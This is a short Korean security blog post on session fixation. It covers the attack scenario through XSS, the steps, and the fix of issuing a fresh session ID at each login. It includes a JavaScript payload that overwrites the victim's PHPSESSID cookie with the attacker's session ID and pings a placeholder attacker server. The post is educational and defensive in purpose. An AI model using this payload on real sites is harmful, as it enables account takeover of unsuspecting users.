세션 고정 취약점

로그인 전, 후 또는 로그인 했을 때 세션 ID와 로그아웃 후 재로그인 했을 때의 세션 ID가 동일하거나 예측 가능하면 세션 고정 취약점이 발생할 가능성이 있다.

공격 시나리오

  • 세션 고정 취약점은 XSS 취약점을 이용하는 취약점이다.
  1. 공격자 세션 ID를 쿠키에 담아 피해자에게 전달하는 악성 스크립트를 게시글 또는 링크로 피해자에게 전달한다.
  2. 공격자는 로그아웃 후 피해자 쿠키에 공격자 세션 ID가 주입될 때까지 기다려야 한다. 로그인한 상태로 기다리면 오히려 피해자가 공격자 계정을 탈취하게 된다.
  3. 악성 스크립트가 실행되어 피해자 쿠키에 공격자 세션 ID가 주입되고 세션이 바뀌었기 때문에 피해자는 로그아웃 된다.
  4. 공격자 계정으로 재로그인 후 대기한다.
  5. 로그아웃 된 피해자가 재로그인한다.
  6. 새로고침하면 공격자는 피해자 계정을 탈취할 수 있다. 피해자의 세션 ID와 공격자 세션 ID가 동일하며 공격자가 먼저 로그인 후 대기하고 있었기 때문에 기존의 공격자 세션에서 새로운 세션인 피해자 세션으로 변경된다.

공격 방법

  1. 피해자 쿠키에 공격자의 세션 ID가 없다면 피해자 쿠키를 초기화한다.
  2. 피해자 쿠키에 공격자 세션 ID를 주입한다. 이 때 웹 페이지에서 쿠키에 접근 가능한 경로를 path=/ 루트 경로로 지정해야 한다. 지정한 경로를 포함한 하위 경로에 있는 페이지만 쿠키에 접근할 수 있기 때문에 공격자 세션 ID를 주입한 쿠키로 웹 사이트의 모든 페이지에 접근하려면 루트 경로로 지정해야 한다. 경로를 지정하지 않아 기본값인 현재 경로로 지정되면 공격이 발생한 페이지를 포함한 하위 경로만 접근 가능하다.
  3. 공격자 세션 ID를 갖고 있다면 함수를 종료한다.

공격 페이로드

async function session(){
	if(!document.cookie.includes("PHPSESSID=공격자 세션 ID")){
	    // 기존 세션 초기화
		document.cookie="PHPSESSID=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;"; 
        // 공격자 세션 ID 주입
		document.cookie="PHPSESSID=공격자 세션 ID; path=/;";
      	 // 세션 ID 주입하면 성공 메시지 전송
        await fetch("http://공격자 서버 IP?x=success");
    }else{
      	// 이미 주입되었다면 무시
    	return;
    }
}

대응방안

로그인할 때마다 예측 불가능한 새로운 세션 ID를 발급하고 기존 세션 ID는 파기한다.

참고 자료

https://ko.javascript.info/cookie#ref-46
주요정보통신기반취약점

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글